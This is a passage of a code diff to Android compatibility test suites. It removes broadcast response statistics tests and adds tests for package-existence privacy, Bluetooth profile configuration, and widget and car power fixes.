-                    TEST_NOTIFICATION_CHANNEL_DESC);
-
-            // Send a broadcast to test-pkg1 with a request to record response and verify
-            // broadcast-sent count gets incremented.
-            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
-            sendBroadcastAndWaitForReceipt(intent3, options1.toBundle());
-
-            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-            testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
-                    TEST_RESPONSE_STATS_ID_1));
-            expectedStatsForId1.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
-                    TEST_RESPONSE_STATS_ID_1));
-            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
-            expectedStatsForId1.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId1.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
-            sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
-
-            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_2));
-            testReceiver3.cancelNotification(TEST_NOTIFICATION_ID_1);
-
-            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
-            expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
-                    TEST_RESPONSE_STATS_ID_2));
-            expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId2.get(TEST_APP3_PKG).incrementNotificationsCancelledCount(1);
-
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, 0 /* id */);
-            expectedStatsForId1.remove(TEST_APP_PKG);
-            expectedStatsForId2.remove(TEST_APP_PKG);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP3_PKG, 0 /* id */);
-            expectedStatsForId1.remove(TEST_APP3_PKG);
-            expectedStatsForId2.remove(TEST_APP3_PKG);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            testReceiver1.cancelAll();
-            testReceiver3.cancelAll();
-        } finally {
-            connection1.unbind();
-            connection3.unbind();
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_clearAllCounts() throws Exception {
-        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
-        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
-        // Initially all the counts should be empty
-        assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-        assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-        final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
-        final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
-        try {
-            ITestReceiver testReceiver1 = connection1.getITestReceiver();
-            ITestReceiver testReceiver3 = connection3.getITestReceiver();
-
-            testReceiver1.cancelAll();
-            testReceiver3.cancelAll();
-
-            final Intent intent = new Intent().setComponent(new ComponentName(
-                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            final Intent intent3 = new Intent().setComponent(new ComponentName(
-                    TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            final BroadcastOptions options1 = BroadcastOptions.makeBasic();
-            options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-            final BroadcastOptions options2 = BroadcastOptions.makeBasic();
-            options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
-
-            testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-
-            // Send a broadcast to test-pkg1 with a request to record response and verify
-            // broadcast-sent count gets incremented.
-            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
-            sendBroadcastAndWaitForReceipt(intent3, options1.toBundle());
-
-            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-            testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
-                    TEST_RESPONSE_STATS_ID_1));
-            expectedStatsForId1.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
-                    TEST_RESPONSE_STATS_ID_1));
-            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
-            expectedStatsForId1.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId1.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
-            sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
-
-            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_2));
-            testReceiver3.cancelNotification(TEST_NOTIFICATION_ID_1);
-
-            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
-            expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
-                    TEST_RESPONSE_STATS_ID_2));
-            expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
-            expectedStatsForId2.get(TEST_APP3_PKG).incrementNotificationsCancelledCount(1);
-
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */, 0 /* id */);
-            expectedStatsForId1.clear();
-            expectedStatsForId2.clear();
-            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
-            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
-
-            testReceiver1.cancelAll();
-            testReceiver3.cancelAll();
-        } finally {
-            connection1.unbind();
-            connection3.unbind();
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_mediaNotification() throws Exception {
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-
-        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
-        try {
-            ITestReceiver testReceiver = connection.getITestReceiver();
-            testReceiver.cancelAll();
-
-            // Send a broadcast with a request to record response and verify broadcast-sent
-            // count gets incremented.
-            final BroadcastOptions options = BroadcastOptions.makeBasic();
-            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-            final Intent intent = new Intent().setComponent(new ComponentName(
-                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildMediaNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    1 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            testReceiver.cancelAll();
-        } finally {
-            connection.unbind();
-        }
-    }
-
-    private void updateFlagWithDelay(DeviceConfigStateHelper deviceConfigStateHelper,
-            String key, String value) {
-        deviceConfigStateHelper.set(key, value);
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            final String actualValue = PollingCheck.waitFor(DEFAULT_TIMEOUT_MS,
-                    () -> mUsageStatsManager.getAppStandbyConstant(key),
-                    result -> value.equals(result));
-            assertEquals("Error changing the value of " + key, value, actualValue);
-        });
-    }
-
     private Notification buildNotification(String channelId, int notificationId,
             String notificationText) {
         return new Notification.Builder(mContext, channelId)
@@ -2413,114 +936,6 @@
                 .build();
     }
 
-    private Notification buildMediaNotification(String channelId, int notificationId,
-            String notificationText) {
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext,
-                0 /* requestCode */, new Intent(mContext, this.getClass()),
-                PendingIntent.FLAG_IMMUTABLE);
-        final MediaSession session = new MediaSession(mContext, "test_media");
-        return new Notification.Builder(mContext, channelId)
-                .setSmallIcon(android.R.drawable.ic_menu_day)
-                .setContentTitle(String.format(TEST_NOTIFICATION_TITLE_FMT, notificationId))
-                .setContentText(notificationText)
-                .addAction(new Notification.Action.Builder(
-                        Icon.createWithResource(mContext, android.R.drawable.ic_media_previous),
-                        "previous", pendingIntent).build())
-                .addAction(new Notification.Action.Builder(
-                        Icon.createWithResource(mContext, android.R.drawable.ic_media_play),
-                        "play", pendingIntent).build())
-                .addAction(new Notification.Action.Builder(
-                        Icon.createWithResource(mContext, android.R.drawable.ic_media_next),
-                        "next", pendingIntent).build())
-                .setStyle(new Notification.MediaStyle()
-                        .setShowActionsInCompactView(0, 1, 2)
-                        .setMediaSession(session.getSessionToken()))
-                .build();
-    }
-
-    private void sendBroadcastAndWaitForReceipt(Intent intent, Bundle options)
-            throws Exception {
-        final CountDownLatch latch = new CountDownLatch(1);
-        intent.putExtra(EXTRA_REMOTE_CALLBACK, new RemoteCallback(result -> latch.countDown()));
-        mContext.sendBroadcast(intent, null /* receiverPermission */, options);
-        if (!latch.await(DEFAULT_TIMEOUT_MS, TimeUnit.SECONDS)) {
-            fail("Timed out waiting for the test app to receive the broadcast");
-        }
-    }
-
-    private void assertResponseStats(String packageName, long id, int... expectedCounts) {
-        final BroadcastResponseStats expectedStats = new BroadcastResponseStats(packageName, id);
-        expectedStats.incrementBroadcastsDispatchedCount(expectedCounts[0]);
-        expectedStats.incrementNotificationsPostedCount(expectedCounts[1]);
-        expectedStats.incrementNotificationsUpdatedCount(expectedCounts[2]);
-        expectedStats.incrementNotificationsCancelledCount(expectedCounts[3]);
-        assertResponseStats(packageName, id, expectedStats);
-    }
-
-    private void assertResponseStats(String packageName, long id,
-            BroadcastResponseStats expectedStats) {
-        List<BroadcastResponseStats> actualStats = mUsageStatsManager
-                .queryBroadcastResponseStats(packageName, id);
-        if (compareStats(expectedStats, actualStats)) {
-            SystemClock.sleep(WAIT_TIME_FOR_NEGATIVE_TESTS_MS);
-        }
-
-        actualStats = PollingCheck.waitFor(DEFAULT_TIMEOUT_MS,
-                () -> mUsageStatsManager.queryBroadcastResponseStats(packageName, id),
-                result -> compareStats(expectedStats, result));
-        actualStats.sort(Comparator.comparing(BroadcastResponseStats::getPackageName));
-        final String errorMsg = String.format("\nEXPECTED(%d)=%s\nACTUAL(%d)=%s\n",
-                1, expectedStats,
-                actualStats.size(), Arrays.toString(actualStats.toArray()));
-        assertTrue(errorMsg, compareStats(expectedStats, actualStats));
-    }
-
-    private void assertResponseStats(long id,
-            ArrayMap<String, BroadcastResponseStats> expectedStats) {
-        // TODO: Call into the above assertResponseStats() method instead of duplicating
-        // the logic.
-        List<BroadcastResponseStats> actualStats = mUsageStatsManager
-                .queryBroadcastResponseStats(null /* packageName */, id);
-        if (compareStats(expectedStats, actualStats)) {
-            SystemClock.sleep(WAIT_TIME_FOR_NEGATIVE_TESTS_MS);
-        }
-
-        actualStats = PollingCheck.waitFor(DEFAULT_TIMEOUT_MS,
-                () -> mUsageStatsManager.queryBroadcastResponseStats(null /* packageName */, id),
-                result -> compareStats(expectedStats, result));
-        actualStats.sort(Comparator.comparing(BroadcastResponseStats::getPackageName));
-        final String errorMsg = String.format("\nEXPECTED(%d)=%s\nACTUAL(%d)=%s\n",
-                expectedStats.size(), expectedStats,
-                actualStats.size(), Arrays.toString(actualStats.toArray()));
-        assertTrue(errorMsg, compareStats(expectedStats, actualStats));
-    }
-
-    private boolean compareStats(ArrayMap<String, BroadcastResponseStats> expectedStats,
-            List<BroadcastResponseStats> actualStats) {
-        if (expectedStats.size() != actualStats.size()) {
-            return false;
-        }
-        for (int i = 0; i < actualStats.size(); ++i) {
-            final BroadcastResponseStats actualPackageStats = actualStats.get(i);
-            final String packageName = actualPackageStats.getPackageName();
-            if (!actualPackageStats.equals(expectedStats.get(packageName))) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    private boolean compareStats(BroadcastResponseStats expectedStats,
-            List<BroadcastResponseStats> actualStats) {
-        if (actualStats.size() > 1) {
-            return false;
-        }
-        final BroadcastResponseStats stats = (actualStats == null || actualStats.isEmpty())
-                ? new BroadcastResponseStats(expectedStats.getPackageName(), expectedStats.getId())
-                : actualStats.get(0);
-        return expectedStats.equals(stats);
-    }
-
     @AppModeFull(reason = "No usage events access in instant apps")
     @Test
     public void testNotificationInterruptionEventsObfuscation() throws Exception {
@@ -3606,7 +2021,7 @@
 
     private TestServiceConnection bindToTestServiceAndGetConnection(String packageName)
             throws Exception {
-        final TestServiceConnection connection = new TestServiceConnection();
+        final TestServiceConnection connection = new TestServiceConnection(mContext);
         final Intent intent = new Intent().setComponent(
                 new ComponentName(packageName, TEST_APP_CLASS_SERVICE));
         mContext.bindService(intent, connection, Context.BIND_AUTO_CREATE);
@@ -3663,8 +2078,13 @@
         }
     }
 
-    private class TestServiceConnection implements ServiceConnection {
+    static class TestServiceConnection implements ServiceConnection {
         private BlockingQueue<IBinder> mBlockingQueue = new LinkedBlockingQueue<>();
+        private Context mContext;
+
+        TestServiceConnection(Context context) {
+            mContext = context;
+        }
 
         public void onServiceConnected(ComponentName componentName, IBinder service) {
             mBlockingQueue.offer(service);
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index 9f2d821..23373ae 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -208,6 +208,8 @@
 
 import java.io.ByteArrayInputStream;
 import java.io.InputStream;
+import java.io.PrintWriter;
+import java.io.StringWriter;
 import java.security.cert.Certificate;
 import java.security.cert.CertificateFactory;
 import java.security.cert.X509Certificate;
@@ -1972,6 +1974,25 @@
     }
 
     @Test
+    public void canPackageQuery_cannotDetectPackageExistence() {
+        ensurePackageIsNotInstalled(TARGET_STUB);
+        final Exception ex1 = assertThrows(PackageManager.NameNotFoundException.class,
+                () -> canPackageQuery(QUERIES_NOTHING, TARGET_STUB, ""));
+        final StringWriter stackTrace1 = new StringWriter();
+        ex1.printStackTrace(new PrintWriter(stackTrace1));
+
+        ensurePackageIsInstalled(TARGET_STUB, TARGET_STUB_APK);
+
+        final Exception ex2 = assertThrows(PackageManager.NameNotFoundException.class,
+                () -> canPackageQuery(QUERIES_NOTHING, TARGET_STUB, ""));
+        final StringWriter stackTrace2 = new StringWriter();
+        ex1.printStackTrace(new PrintWriter(stackTrace2));
+
+        assertThat(ex1.getMessage(), is(ex2.getMessage()));
+        assertThat(stackTrace1.toString(), is(stackTrace2.toString()));
+    }
+
+    @Test
     public void checkPackage_queriesNothing_validateFailed() {
         // Using ROOT_UID here to pass the check in #verifyAndGetBypass, this is intended by design.
         assertThrows(SecurityException.class,
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
index 925fa69..2d8c52b 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
@@ -18,8 +18,8 @@
 import static android.appwidget.cts.provider.CollectionAppWidgetProvider.BROADCAST_ACTION;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.mockito.ArgumentMatchers.any;
@@ -58,6 +58,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -446,6 +447,7 @@
     }
 
     @Test
+    @Ignore("b/204025905")
     public void testSetScrollPosition() {
         if (!mHasAppWidgets) {
             return;
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
index f0c6e5a..1ee1ebf 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
@@ -130,7 +130,7 @@
             // populated via the adapter when ListView has "real" bounds.
             final Runnable setScrollRunnable = new Runnable() {
                 public void run() {
-                    if (sSetScrollCondition.canProceed()) {
+                    if (sSetScrollCondition != null && sSetScrollCondition.canProceed()) {
                         // Gating condition has been satisfied. Call setScrollPosition and
                         // ask the widget manager to update our widget
                         widgetAdapterView.setScrollPosition(R.id.remoteViews_list, mScrollPosition);
@@ -151,7 +151,8 @@
             // populated via the adapter when ListView has "real" bounds.
             final Runnable setRelativeScrollRunnable = new Runnable() {
                 public void run() {
-                    if (sSetRelativeScrollCondition.canProceed()) {
+                    if (sSetRelativeScrollCondition != null
+                            && sSetRelativeScrollCondition.canProceed()) {
                         // Gating condition has been satisfied. Call setRelativeScrollPosition and
                         // ask the widget manager to update our widget
                         widgetAdapterView.setRelativeScrollPosition(
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
index e21c629..6d94b3f 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
@@ -41,7 +41,7 @@
 
     private boolean mHasBluetooth;
     private BluetoothAdapter mAdapter;
-    private UiAutomation mUiAutomation;;
+    private UiAutomation mUiAutomation;
 
     private BluetoothA2dp mBluetoothA2dp;
     private boolean mIsA2dpSupported;
@@ -145,7 +145,7 @@
 
         BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
 
-        assertThrows(SecurityException.class, () -> mBluetoothA2dp.getCodecStatus(testDevice));
+        assertNull(mBluetoothA2dp.getCodecStatus(testDevice));
         assertThrows(IllegalArgumentException.class, () -> {
             mBluetoothA2dp.getCodecStatus(null);
         });
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java
new file mode 100644
index 0000000..f6336bf
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.Manifest.permission.BLUETOOTH_PRIVILEGED;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
+import android.sysprop.BluetoothProperties;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.invoke.MethodHandles;
+import java.util.List;
+
+public class BluetoothConfigTest extends AndroidTestCase {
+    private static final String TAG = MethodHandles.lookup().lookupClass().getSimpleName();
+
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private UiAutomation mUiAutomation;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) return;
+
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+        mAdapter = manager.getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (!mHasBluetooth) return;
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        mAdapter = null;
+        mUiAutomation.dropShellPermissionIdentity();
+    }
+
+    private int checkIsProfileEnabledInList(int profile, List<Integer> supportedProfiles) {
+        final boolean isEnabled = TestUtils.isProfileEnabled(profile);
+        final boolean isSupported = supportedProfiles.contains(profile);
+
+        if (isEnabled == isSupported) {
+            return 0;
+        }
+        Log.e(TAG, "Profile config does not match for profile: "
+                + BluetoothProfile.getProfileName(profile)
+                + ". Config currently return: " + isEnabled
+                + ". Is profile in the list: " + isSupported);
+        return 1;
+    }
+
+    public void testProfileEnabledValueInList() {
+        if (!mHasBluetooth) {
+            return;
+        }
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+        final List<Integer> pList = mAdapter.getSupportedProfiles();
+        int wrong_config_in_list = checkIsProfileEnabledInList(BluetoothProfile.A2DP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.A2DP_SINK, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.AVRCP_CONTROLLER, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.CSIP_SET_COORDINATOR, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.GATT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HAP_CLIENT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HEADSET, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HEADSET_CLIENT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HEARING_AID, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HID_DEVICE, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HID_HOST, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO_BROADCAST, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.MAP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.MAP_CLIENT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.OPP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.PAN, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.PBAP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.PBAP_CLIENT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.SAP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.VOLUME_CONTROL, pList);
+
+        assertEquals("Config does not match adapter hardware support. CHECK THE PREVIOUS LOGS.",
+                0, wrong_config_in_list);
+    }
+
+    private int checkIsProfileEnabled(int profile, int adapterSupport) {
+        final boolean isEnabled = TestUtils.isProfileEnabled(profile);
+        final boolean isSupported = BluetoothStatusCodes.FEATURE_SUPPORTED == adapterSupport;
+
+        if (isEnabled == isSupported) {
+            return 0;
+        }
+        Log.e(TAG, "Profile config does not match for profile: "
+                + BluetoothProfile.getProfileName(profile)
+                + ". Config currently return: " + TestUtils.isProfileEnabled(profile)
+                + ". Adapter support return: " + adapterSupport);
+        return 1;
+    }
+
+    public void testProfileEnabledValue() {
+        if (!mHasBluetooth) {
+            return;
+        }
+        int wrong_config =
+            checkIsProfileEnabled(BluetoothProfile.LE_AUDIO,
+                    mAdapter.isLeAudioSupported())
+            + checkIsProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST,
+                    mAdapter.isLeAudioBroadcastSourceSupported())
+            + checkIsProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT,
+                    mAdapter.isLeAudioBroadcastAssistantSupported());
+
+        assertEquals("Config does not match adapter hardware support. CHECK THE PREVIOUS LOGS.",
+                0, wrong_config);
+    }
+
+    public void testBleCDDRequirement() {
+        if (!mHasBluetooth) {
+            return;
+        }
+
+        // If device implementations return true for isLeAudioSupported():
+        // [C-7-5] MUST enable simultaneously:
+        //      BAP unicast client,
+        //      CSIP set coordinator,
+        //      MCP server,
+        //      VCP controller,
+        //      CCP server,
+        if (mAdapter.isLeAudioSupported()
+                == BluetoothStatusCodes.FEATURE_SUPPORTED) {
+            assertTrue("BAP unicast config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileBapUnicastClientEnabled().orElse(false));
+            assertTrue("CSIP config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileCsipSetCoordinatorEnabled().orElse(false));
+            assertTrue("MCP config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileMcpServerEnabled().orElse(false));
+            assertTrue("VCP config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileVcpControllerEnabled().orElse(false));
+            assertTrue("CCP config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileCcpServerEnabled().orElse(false));
+        }
+
+        // If device implementations return true for isLeAudioBroadcastSourceSupported():
+        // [C-8-2] MUST enable simultaneously:
+        //      BAP broadcast source,
+        //      BAP broadcast assistant
+        if (mAdapter.isLeAudioBroadcastSourceSupported()
+                == BluetoothStatusCodes.FEATURE_SUPPORTED) {
+            assertTrue("BAP broadcast source config must be true when adapter support "
+                    + "BroadcastSource. [C-8-2]",
+                    BluetoothProperties.isProfileBapBroadcastSourceEnabled().orElse(false));
+            assertTrue("BAP broadcast assistant config must be true when adapter support "
+                    + "BroadcastSource. [C-8-2]",
+                    BluetoothProperties.isProfileBapBroadcastAssistEnabled().orElse(false));
+        }
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java b/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java
index 4cb1019..122d6fc 100644
--- a/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPowerManagerTest.java
@@ -28,8 +28,6 @@
 
 import androidx.annotation.Nullable;
 
-import com.android.compatibility.common.util.SystemUtil;
-
 import com.google.common.base.Strings;
 
 import org.junit.After;
@@ -129,11 +127,11 @@
         if (!Strings.isNullOrEmpty(disabledComponents)) {
             command += " --disable " + disabledComponents;
         }
-        executeShellCommandWithPermission(android.Manifest.permission.DEVICE_POWER, command);
+        executeShellCommandWithPermission("android.car.permission.CAR_POWER", command);
     }
 
     private static void applyPowerPolicy(String policyId) throws Exception {
